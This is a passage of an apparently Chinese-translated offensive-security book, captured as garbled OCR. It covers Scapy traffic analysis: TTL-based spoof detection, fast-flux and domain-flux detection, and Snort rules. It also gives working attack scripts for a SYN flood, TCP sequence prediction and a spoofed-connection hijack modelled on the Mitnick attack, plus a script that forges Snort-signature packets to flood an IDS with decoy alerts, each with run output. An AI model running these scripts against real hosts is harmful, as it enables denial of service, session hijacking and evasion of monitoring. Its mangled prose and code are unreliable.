pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
('[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl)

main():

parser = optparse.OptionParser('"'usage%prog -i<interface> -t
<thresh>")

parser.add option('-1' ='iface’ ='string' ='specify
network interface')

parser.add_option('-t' ='thresh’ ='Int' ='specify
threshold count ')

(options, args) = parser.parse_args()

options.iface == ;
conf.iface = 'eth('

conf.iface = options.iface
options.thresh !=
= options.thresh

sniff(prn=testTTL

__name _==' main_ "
main()

E1TEAINRED |, FAIRTLABEIBIEMRINRAI 75E Nmap 1355 , k8
8.8.8.8 RIfFH. FEIEAIRZ , BAIAVEET—PBIARY Linux 45 TTL (B
64 , RE RFC 1700 #EZRIBOA TTL(ER 64 , B2 Windows RFERER



128 {F8 TTL RIBOAMIMR(E. IE5Hh , HEft—L Unix BMRIRFGBEARRY
TTL{E. BER(IREELIEERIRSE A Linux,

analyst# python spoofDetect.py —i ethO -t 5

[!] Detected Possible Spoofed Packet From: 8.8.8.8
['] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!'] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!'] TTL: 13, Actual TTL: 53

[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!'] TTL: 13, Actual TTL: 53

<..SNIPPED..>

Storm A} FAST ;i&# Conficker §J Domain ji&

2007 F , LEMRARIBA—TFRA |, BRRBMER Storm EFMEER.
XFRAFRS Fast & , FIF3 DNS iCRESiEan < M=l Storm M,
DNS iS5 2B 242 IP iRy, =3 DNS BRSSIRE—MERAT |, bk
BET TIL , HENREZEHERERL

Storm EF MEHIIEE 7 ap S FHEHI RSS2 MINELAIKEE DNS iCR., 3L
., ffi){ERRY 2000 ZANENEETE 50 NER 384 MERRES., AT SR
FIFEAN  EEIRZRIE I IP ik |, (R DNS IREIRIEAY TTL 4558, 1P ik
B Fast MESTE ARBERIAR G STIEHIRIEP NS , EXELLARSS S

Fast {RMEM Storm EFREEIF TR , RURBRARERTHERR THES
MEZRRI 7 BZ 5K, Conficker I5HRZE B RINILRRIIRITENIER | B



I Windows Y SMB thi\iRiRFRAERE, —BERRER , MesshyENERE—
mAMIEHIIRSRRELEH— PR, FIARIE LA S ENIBRFHELE
WHEREEVEM. 7Am , Conficker FEHREFAXFIAY UTC RNEFIREIE=
NNEHFEEARRAIEER. 33 Conficker IERKRE T =V \IHEr=4

50000 Mg, KEERFE MR DAUREBEIERAY IP AT LG SF=HIRSS
2R, IXEES=EFNE LA SEFIRS SH[REREN. RRAARGER

%79 Domain &,

ETFENETS , HKNEHEE—LE Python AR NIRBIIMNREY Fast iREF
Domain G825,

{RB9 NDS FNiE—L(RAFIERYSG ?
A THIAINREY Fast FREF] Domain iRE |, iLBATREREE—T DNS |, BYE

BEZEKTENRE. NTHAXY , HMTESEIERE. T8,
AR IRSSE81E 192.168.1.1 , BHRIHZE 74.117.114.119 9 IP Hibit,

analyst# nslookup whitehouse.com
Server: 192.168.1.1

Address: 192.168.1.1#53
Non-authoritative answer:

Name: whitehouse.com

Address: 74.117.114.119

F tcpdump & NDS & , FAIJRILABRIZFin 192.168.13.37 KX 7 —1
DNS i53Kk45 192.168.1.1,, $FRIRZEFimER T DNS HEISR(DNSQR)EK
Ipv4 Hdlt , BRSSEENINEE NN DNS &R S (DNSRR)FHE L IP bk,

analyst# tcpdump -i ethO —nn 'udp port 53’



07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+
A?

whitehouse.com. (32)

07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962
1/0/0A

74.117.114.119 (48)

&5 Scapy fi##r DNS =

L3 1A Scapy #3s DNS sk , BT ERIEEES— 1 AiCRH
DNSQR B & TiEK& (qname) , iEK3EB (qtype)FHiEk(qclass). A7 £k
K, BAIEBEKIEZRY Ipv4 Hstit |, 1F gname FERETF 152, DNS IRSSMaL
170 DNSRR B &2 &iFEFR(rmame) , 28 (type) , FiRICFRE(rclass)
TTL, ¥0& Fast ;iRE#0 Domain REZEATIERY , FAIIETLAER

Scapy #®5 Python IR HTEI#EIARTLARY DNS fRE.

analyst# scapy
Welcome to Scapy (2.0.1)
>>>|s(DNSQR)

qname : DNSStrField = (V)
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>>|s(DNSRR)

rrname : DNSStrField = *)
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)

rdata : RDataField = *)



BRMNE SEE 2 EE T — Mo RERERIFRIRIR. tHEHT—
IR ISO =%, 887 —EMEBHIAFSS. [RALUN\ TFERG TE
http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso-
images. %3 7 IREET—M5S Fast iiiE1T/9896IFHY PCAP, ILLAMRATRER
ARG S E SR RN A S R R LI R 2 E
mE. ATERMNNEN , BRIMBRIFREE — MRS RES
fastFlux.pcap B2 7 —LAREZESHTHI NDS i E.

F Scapy #&ill Fast ifi=

1IF(14mS Python BIANENSE pcap HOHTAIERIEE DNSRR ISR,

Scapy INREIRK , haslayer()REUGIMEEEUENBIAN , FHRE—Mo/RME. W
REFEGEEZ— DNSRR |, Bfi WS I ZES1=F0 [P #BiAY rame 71
rdata TE., FHATLUSRERN4EHPREEFHE  BYERERS. MREHZH
WERER |, BANGEECRE SRR IP #UHEXER. WREE—NARLL
HURY IP B4, B PSIEINEIFA eI, Bk, MRFATLI T — i
2, HIRITEERNFHE. F(TRIDX MR 1P U iET
[ERYEEEE—TITE.

XELERELEES , (BRI VRS FERTERNERAIIXERAIARRER IP it
Ht, AT Fast & , FAVFEAEIMEBESA 1P ik, EARAE
RUEHERZ G | BAFIENETERREME MARAIZ 1P ek,

from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
if pkt.haslayer(DNSRR):

rrname = pkt.getlayer(DNSRR).rrname

rdata = pkt.getlayer(DNSRR).rdata

if dnsRecords.has_key(rrname):

if rdata not in dnsRecords[rrname]:

dnsRecords[rrname].append(rdata)



else:
dnsRecords[rrname] = []
dnsRecords[rrname].append(rdata)
def main():
pkts = rdpcap('fastFlux.pcap')
for pkt in pkts:
handlePkt(pkt)
for item in dnsRecords:

print(‘[+] '+item+' has '+str(len(dnsRecords[item])) + ' unique
IPs.")

if _name__ =="'__main_":

main()

BATEAIBAEE | FITLIBEREDEE MR S5ZA P AN, FrERIZEH
MBI ESER L Fast it ERTFIA.

analyst# python testFastFlux.py

[+] ibank-halifax.com. has 100,379 unique IPs.
[+] armsummer.com. has 14,233 unique IPs.
[+] boardhour.com. has 11,900 unique IPs.

[+] swimhad.com. has 11, 719 unique IPs.

FH Scapy t&illl Domain &

R, BAIFHASHTH Conficker 1 HBERAHNES. (RelLARRRE CHINIES
E N LWHERAIER, FE2E=AMitE A EAY Conficker fE3k, BT
Conficker $ZHFIA Domain 2 , HIIEEEERSH/ESRNEZNERE
B, ARIRAHEI Conficker $EH4E R LR DNS, EAJLMEZ2ER |
NTEEELNMIITHIIRSES. A4 DNS RS es = IS & L mE LAY
HEEHERAE R EIRIEEREED. RIIBIHARREHIIES name-



error {52 /Y DNS I RKHFIA Domain iRE. 7T 52I5SEERY Conficker EEHE
FigpEEsIER |, BAITLATE

http://www.cert.at/downloads/data/conficker_en.html %2,

from scapy.all import *
def dnsQRTest(pkt):
if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
rcode = pkt.getlayer(DNS).rcode
qname = pkt.getlayer(DNSQR).qname
if rcode ==
print('[!] Name request lookup failed: ' + gqname)
return True
else:
return False
def main():
unAnsReqs = 0
pkts = rdpcap(‘domainFlux.pcap')
for pkt in pkts:
if dnsQRTest(pkt):
unAnsReqs = unAnsReqs + 1

print(‘[!] '+str(unAnsReqs)+' Total Unanswered Name Requests')

FEIFANETHAR |, A TJLABZEI—LEETF Conficker #EH Domain iiR=AY
SChRiER. BID ! BT LARAIGGEE., B F— B IR iEe
HEN— FARLETE 15 FrINEZaIKGEE.

analyst# python testDomainFlux.py



[!'] Name request lookup failed: tkggvtqvj.org.

[!'] Name request lookup failed: yqdqyntx.com.

[!'] Name request lookup failed: uvcaylkgdpg.biz.
[!'] Name request lookup failed: vzcocljtfi.biz.

[!'] Name request lookup failed: wojpnhwk.cc.

[!'] Name request lookup failed: plrjgcjzf.net.

[!'] Name request lookup failed: gegiche.ws.

[!'] Name request lookup failed: ylktrupygmp.cc.
[!'] Name request lookup failed: ovdbkbanqw.com.
<..SNIPPED..>

[!] 250 Total Unanswered Name Requests

B3CKIF e TCP 5

1996 F 2 B 16 HER T — 1 REBESIEEIFE. ERIVERTHIES
HERUMEEB A ETREWANE. 155k, PICRSRrERIERERINETE
M, FEFRAAGE  EMBRASRKE T | (BR&EE—TXIMErs/NEIMZ]
Tfib.

Tsutomu Shimomura , —MTEYEESR , BENEH T KEFER. &£

1992 IFNZLIMIERE | KIFBREMRATHNER. 1994F 128, BA
BN T ERIERESR. BEXREERRG R MRRIIE S EFRE
K, fEASKISA LED H\EE —FHBEERKIFER.

i SWERERH4 , LIBINRRENT , KSR T — 1 EEET

TCP 21&, XMRIAMARS TCP FFHIFRN |, INTEERZFEHIERIFS SERERERA
PIERERR, XNRAES [P iR | AU et B IR — &R,
ETEHNELT , HISERHRSKIGFETELERAIRI TCP A FRNAYT
B,



{RE 2 TCP E5Fam

KEFRREEINNESE— NI EANTEERIRS MY, X MTiEiRSE8HE
KSBHENSEE | BE{TAE TCP 513 it FAGTEEMEIN (rlogin), TR
BEANBINESREEFEAT , rlogin FHT — MR Z2AIESE--8E
EIP teht, FE , AT I Shimomura FEBRKIS B 1.3 EI—NalS
BIBRSSES ; 2. BRI EIRSSES ; 3. Rk EIRSE500ER | 4. 5 BAIUIRIER
B9 TCP =)XIEF BRI ACK &, ITesRLLSCPR L&Y , 19945 1 B 25H ,
Shimomura & T R HHNFABA TR EEE L. BIIEAHIRAH
TRIMXRBE | HATERE— Python BIASZHITSHMURIILE.

RS TeHEA T Shimomura B9FAABBIN L BE— NI SRITERSS | tFEEHR
MNESTTER. WNRVES TR GERMBAY IP MlERIRER: | VIsSEaRXE
BEHIRGXAERE. ATV | KFErRAX T —25I89 TCP SYN 82|
IRSSEEHIE TR, #FRID SYN HKINE | XN 7l 7 IRSS 2EH0EE RS
FHRFERINEL, M Shimomura Z#RHIHETRE | FiIEEI—FKFIRI TCP
SYN B&1XZ BirFEHAIERRO,

14:18:22.516699 130.92.6.97.600 > server.login: S
1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S
1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S
1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S
1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S
1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S
1382726965:1382726965(0) win 4096



<..SNIPPED..?

F Scapy #{E SYN jK

FA Scapy fEERRIEHI— TCP SYN HUKIE | A NGHEWF—L IPEUER , B
1EBIEAY TCP jlRim O FIAMTHY TCP 513 BimimM.,

from scapy.all import *

def synFlood(src, tgt):
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)

src = "10.1.1.2"

tgt = "192.168.1.3"
synFlood(src, tgt)

BITIEE&RIX TCP SYN #UBREER BIrENER , EHTCHNEREING , EARE
BmEREIE TCP 2B

mitnick# python synFlood.py

Sent 1 packets.

Sent 1 packets.



Sent 1 packets.

Sent 1 packets.

<..SNIPPED..>

it& TCP F5IS

PERGESE—EE8T. WERERSSHRVNN , KSR LEIEE R
B9 TCP &%, A, XEURTHhAIXRIERT SYN AI8ES] . Shimomura #12§
TCP EZ/GHI— TCP ACK 8. ATZMIER  KEERFER 2 LR
JB2 TCP ACK BIFAIS | EAMTTENERRIME , FRE— P IERFRAYIENAY TCP
ACK FPIS. ATIEMTE TCP FHIS | KiFE5M /9 apollo.it.luc.edu By
KEFNBEAIE T —FFIRY SYN ZiiEE , YeZl SYN ZJ5 , Shimomura HATL2&HY
iRl T — N H RIS H TCP ACK BiEEIER NHREERAATHIFSIS
2022080000, 2022208000, 2022336000, 2022464000, EMEEIEE

128000 , XiLEITEIEHHE) TCP FRAISEMES. (IER , KSUHRARIER
G5 RIREERARIFENL TCP 55, )

14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S
1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S
2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R
1382726993:1382726993(0) win 0

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S
1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S
2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R



1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell:
1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996:
2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell:
1382726995:1382726995(0) win 0

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell:
1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995:
2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell:
1382726996:1382726996(0) win 0

<..SNIPPED..>

9T 1E Python HREEI , TG A% TCP SYN EiEEFE4F TCP SYN-ACK #iE
8. —BWE, BB ACK R TCP FFFISHITENEIFE L. BITHES
4 RIEPA—PHVERRIFTE. 15, (R Scapy , BAIAFEEN TCPHIIP =
E& : Scapy BRIEEZE . L5 , BIRMBAIBOARYIRIBIIARIE, BefiIAIHT

EREL cal SYNOBSZEZ— 1P #UER[ES—4> ACK IS (SRINFSISINE

L),

from scapy.all import *
def calTSN(tgt):
seqNum =0
preNum =0
diffSeq = 0
for x in range(1, 5):

if preNum != 0:



preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sr1(pkt, verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)

return seqNum + diffSeq

tgt = "192.168.1.106"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1)

BITRAIRORASBE—MESSRIB R | T LIEE TCP RYISHIBEHMERA
F7ERY , B#5#0 Shimomura RIH=RBHEERFIISEE. T8 BOABR T,

Scapy fEREIARIBYR TCP im 80, BirE—MRSIEERNT , AER
S EIREEA MR .

mitnick# python calculateTSN.py

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Next TCP Sequence Number to ACK is: 2024371201

HRIW TCP iEi%

BTIER TCP RHISESF , KRR UG Y. KSR FERNFFISE
2024371200 , KZJ¥IEE4L, SYN [5H9 150 /) SYN HiEE A X T EAEGE. 5



5%, ENFRUTTEAIRSS B8 EN0R 7 — NEE., RRMMAEX T —1NFIIS
2024371201 5EHAY ACK RS , RIBEEE 7 IEMINEE.

14:18:36.245045 server.login > x-terminal.shell: S
1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: .ack2024384001
win

4096

£ Python HEIIXL , HIVEERFIAERNEUES. BEFEMNIE—
TCP g% 2 513 FBANROE 514 AYR IP i EEIRAVIRS 2 EAY IP it
EERIP R SYN #iE6 , Tk |, FAICIE—MERRY ACK 2UEE |, 15
INTERNFSISENTIMNIFE | HEXE

from scapy.all import *

def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)

src = "10.1.1.2"

tgt = "192.168.1.106"
seqNum = 2024371201
spoofConn(src,tgt,seqNum)

BB EEE—RE , F(ISEIN—Ear STl Ris e IRERR
it , BFRIRSSES | FOERIRMEHEATRDGAL SYN HKINE.



optparse
scapy.all

synFlood(src, tgt):
sport { ):
[Player = IP(src=src, dst=tgt)
TCPlayer = TCP( =sport
pkt = [Player / TCPlayer
send(pkt)

calTSN(tgt):
seqNum =
preNum =
diffSeq =
X (1, 5):
preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = srl(pkt =0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
'[+] TCP Seq Difference: ' + str(diffSeq)
seqNum + diffSeq

spoofConn(src, tgt, ack):
[Player = IP(src=src, dst=tgt)
TCPlayer = TCP( =
synPkt = IPlayer / TCPlayer
send(synPkt)
[Player = IP(src=src, dst=tgt)
TCPlayer = TCP( =
ackPkt = IPlayer / TCPlayer
send(ackPkt)
main():
parser = optparse.OptionParser(‘usage%prog -s<src for SYN
Flood> -S <src for spoofed connection> -t<target address>")




parser.add_option('-s' ='synSpoof' ='string' ='specifc
src for SYN Flood')

parser.add option('-S' ='srcSpoof’ ='string' ='specify
src for spoofed connection')

parser.add_option('-t' ='tgt' ='string’ ='specify target
address')

(options, args) = parser.parse_args()

options.synSpoof == options.srcSpoof ==
options.tgt ==
(parser.usage)

(0)

synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
('[+] Starting SYN Flood to suppress remote server.')
synFlood(synSpoof, srcSpoof)
('[+] Calculating correct TCP Sequence Number.")
seqNum = cal TSN(tgt) +
('[+] Spoofing Connection.")
spoofConn(srcSpoof, tgt, seqNum)
('[*+] Done.")
__name ==' main_ "
main()

BATEARERIMA , BAINIIES T RKEFE5 20 FRifIKE. —EHIANR
B EREFAIIREIERFLIA/L 14T Python {UIBEI. IEF LB THEGERT
PITEEE | UREAARI T —TEIANGE | — D HYANEENAR SIS /LS
HRIDT.

mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t
192.168.1.106

[+] Starting SYN Flood to suppress remote server.

Sent 1 packets.



Sent 1 packets.

Sent 1 packets.

<..SNIPPED..>

[+] Calculating correct TCP Sequence Number.
[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Spoofing Connection.

Sent 1 packets.

Sent 1 packets.

[+] Done.

F Scapy I\ (ZHENFRES

AEEURG(IDS)REESHITFF—PEEEMENTIR. — M ETMEH
NEIEURG(NIDS) AT LUBIHICR IP NEHIEE LI otTing. BiItAEA
TERCHVEESR | IDS RILAEIR AT Z BREE MR 4TI, ELamist |

Snort NRIENARFETRCBESM ARSI UARSEAHNIE | I
BERFSFHMAAENNERE. FERET—MCERIRS | HIEFENR
LA TEN , tfin2k 70 Trin00 SHTURBIRSHINE TR, JIEEERA TFN,
tfn2k 8¢#& Trin00 TEWEHHR , IDS i&NBINEREES ST, AT, =
PITIMZEZ LA IBED B A B SR E SRR E AT ? I M EARRIRRTS |
AJRERET BRI,



victim# cat /etc/snort/rules/ddos.rules
<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS
TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;
classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS
tfn2k icmp

possible communication"; icmp_id:0; itype:0;
content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS
Trin00

Daemon to Master PONG message detected"”; content:"PONG";
reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS
TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;
reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

AT /DR — NS ENKE | BIVERE— N LEERAENZESH LD
MR, o |, DAFIPEESERX AN TERIGIE— IDS BEIEFRNRBI
BERE., REXMHAHAM  RIISRETERESERIN, Al , Fi1E
R Scapy SIWESUES., #[EF DDos TFN BISS—EN |, Bl 1AERK,
—/N ICMP B4, , ICMP ID £ 678 , ICMP EI2 8 G S [FIANE 12341951
26, {#F Scapy , BfIAXLTEFEEIREFHAEMMNIZIFAIF B RIMEIL,
o, ARSI EMB=MNAEIRS.

from scapy.all import *

def ddosTest(src, dst, iface, count):



pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load="'1234")
send(pkt, iface=iface, count=count)

pkt =
IP(src=src,dst=dst)/ICMP(type=0)/Raw(load="AAAAAAAAAA'")

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='"PONG")
send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)

send(pkt, iface=iface, count=count)

src="1.3.3.7"
dst="192.168.1.106"
iface="eth0"
count=1

ddosTest(src,dst,iface,count)

BITZRIA |, BRI, O EUERAIXE 7 BRIMBIE, IDS BEniriXEeE]
REHERES | WNRAITEIERANE,

attacker# python idsFoil.py
Sent 1 packets.
.Sent 1 packets.
Sent 1 packets.
Sent 1 packets.

HE Snort (IEEHHEE | HATRMIABINT | BN EUEEERNESE
%08 IDS R&EH.,

victim# snort -q -A console -i ethO -c /etc/snort/snort.conf



03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]
[Classification: Attempted Information Leak] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106

03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to
Master PONG

message detected [**] [Classification: Attempted Information Leak]
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command
BE [**]

[Classification: Attempted

UFEABEEHEHMEZAINN , Snort THY exploit.rules &4, EIXE , —K
HEYSTRF TS/ ntalkd x86 Linux jzHF0 Linux mountd i HAE L,

alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT
ntalkd x86

Linux overflow"; content:" |01 03 00 00 00 00 00 01 00 02 02 E8|";
reference:bugtraq,210; classtype:attempted-admin; sid:313;
rev:4;)

alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT
x86 Linux

mountd overflow"; content:"~ | B0 02 89 06 FE C8 89| F| 04 BO 06
89 |F";

reference:bugtraq,121; reference:cve,1999-0002; classtype

:attempted-admin; sid:315; rev:6;)



ATEABSFRFTRIEIES , FANSFIR\X JSEIRME 16 HElF AR
F5. EENER , SER—TEIEERIBSH ntalkd Linux ig &2 Aol
B, EBIANYIRE | BRIVEES 16 HFIRISFIAREN ASCIL F7/f, T2
98|F|#wfi579\x89 I8 & T [RIsHI=F TN T —1~ ASCIL =45, THRIEIESR
BB EIERIRE,

def exploitTest(src, dst, iface, count):

pkt = IP(src=src, dst=dst) / UDP(dport=518)
/Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\
xE8")

send(pkt, iface=iface, count=count)

pkt = IP(src=src, dst=dst) / UDP(dport=635)
/Raw(load=""\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x8
9F")

send(pkt, iface=iface, count=count)

&a , ESRFREER—LMENEE. SBAIRE Snort RIFFEMNIATAIL
PR LA EERERIAN. A MBS ERim AR E RN ERY
UDP thiltaERITA. REZHUEXITEIER.

alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN
cybercop udp

bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad-
unknown; sid:636; rev:1;)

alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081
(msg:"SCAN Amanda

client version request”; content:"Amanda"; nocase;
classtype:attempted-

recon; sid:634; rev:2;)

HAVERF I M ANRIIFE TERIEIES. SEMRRNEIER UDP #iEE
ERNAEEIBIREN.



def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load="'cybercop')
send(pkt)

pkt = IP(src=src, dst=dst) / UDP(dport=10080)
/Raw(load="'Amanda')

send(pkt, iface=iface, count=count)

IE | BRIV ESUEE T ERIERIRS I | BEREIIRmENES. K
IHERBESER , MII—LIRIET. T, BRYJua A\ BirtbitSN
EBFaBEH. IRAFPEERANRBILL , FIISER—HEATRMENE, 2158
RPAEEREEREHIFREIREZ R , BAIBRAE—R, ZHAERRE
RIMIK eth0 , BRIEARFISE. SAFRIBIERINARIE | (REJLAGREERINEIZA
SR At IR BRI E S,

optparse
scapy.all *
random randint

ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP( =8,1d=678)/Raw/( ='1234")
send(pkt =iface =count)
pkt =
[P(src=src,dst=dst)/ICMP( =0)/Raw( ='AAAAAAAAAA')

send(pkt =iface =count)

pkt = IP(src=src,dst=dst)/UDP( = )/Raw( ='PONG")
send(pkt =iface =count)

pkt = IP(src=src,dst=dst)/ICMP(type=0,1d=456)

send(pkt =iface =count)

exploitTest(src, dst, iface, count):
pkt = IP(src=src =dst) / UDP(
/Raw( ="
send(pkt =1face =count)




pkt = IP(src=src, dst=dst) / UDP(
/Raw(load=""
send(pkt =iface =count)

scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP( ) /Raw( ='cybercop')
send(pkt)
pkt = [P(src=src, dst=dst) / UDP( )
/Raw(load='Amanda')
send(pkt =iface =count)

main():
parser = optparse.OptionParser(‘usage%prog -i<iface> -s <src> -t
<target> -c <count>')
parser.add_option('-1' ='1face’ ='string' ='specify
network interface')
parser.add option('-s' (o ='string' ='specify
source address')
parser.add option('-t' ='tgt' ='string’ ='specify target
address')
parser.add_option('-¢' ='count' ="Int' ='specify
packet count')
(options, args) = parser.parse_args()
options.iface == ;
iface = 'eth0'

iface = options.iface
options.src == ;
src = "." join([str(randint( )

src = options.src
options.tgt ==
(parser.usage)
0)
dst = options.tgt
options.count ==

count =

count = options.count




ddosTest(src, dst, iface, count)
exploitTest(src, dst, iface, count)
scanTest(src, dst, iface, count)

' '

__name ==' main "

main()

HUTEAIRZRIBEIA |, FATTLIERICIESIAE 7 /\ M EGEE R Birtbit |
HRmiRitbil s 1.3.3.7, ATUHER , #RETRENAIEE=EARE.

attacker# python idsFoil.py -i ethO -s 1.3.3.7 -t 192.168.1.106 -c 1
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.

7%7 IDS EE , MBI CRRHUEHR 7/ \NMESHEHR. BT ! F(RIT

BRTEFET , AELER !

victim# snort -q -A console -i ethO -c /etc/snort/snort.conf

03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to
Master PONG

message detected [**] [Classification: Attempted Information
Leak]



[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command

[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106

03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux
overflow

[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518

03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd
overflow

[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635

03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb
[**]
[Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
1.3.3.7:53 -> 192.168.1.106:7

03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version
request

[**] [Classification: Attempted Information Leak] [Priority: 2]
{UDP} 1.3.3.7:53 -> 192.168.1.106:10080

FELSE

REMR | HIEX—ERE THAZNIERRSITNERE. HIINRESE
BRI EMREE TRFE. F Tk BiMRS 7 —LiASkian
Anonymous EEHARY LOIC TEMKE. Tk, HBMEWN T 7 ZHY

Moore FIsRIC T AXIEHNEEIIEER. FE TR, R T —LeIARsk
FEMFI A DNS {EATERIENINT. B3FE Storm 1 Conficker I, BT 21



MERIBES , BATEIT 20 FRIKSC=ATRHAYER. &ia BRI AR
MAIRE DT IRBEIEER B T NMEIRSE.

BEAENCRHTRTFHINBRESTTIREE. £ N —ER(RETTELMEH
THNREnREN T RRXL R EER A Y.

58 5§ : BEWE
RERS :
1.IRIRTCEMERIFANER

2. BITIERMEFIR A EEA T L MLE
34ZHITLTTAM

4.1 Firesheep B9{EFR

5. BANEF8ET
6.8 EFIRETER

FREIRIRHAAZIN—F |, ME—RW |, (RREEEHE S EaTt
TEHAAMESIKHT. AHRRIERAMHREERTE , TIRAMHSEBRYSS . BRILZSh
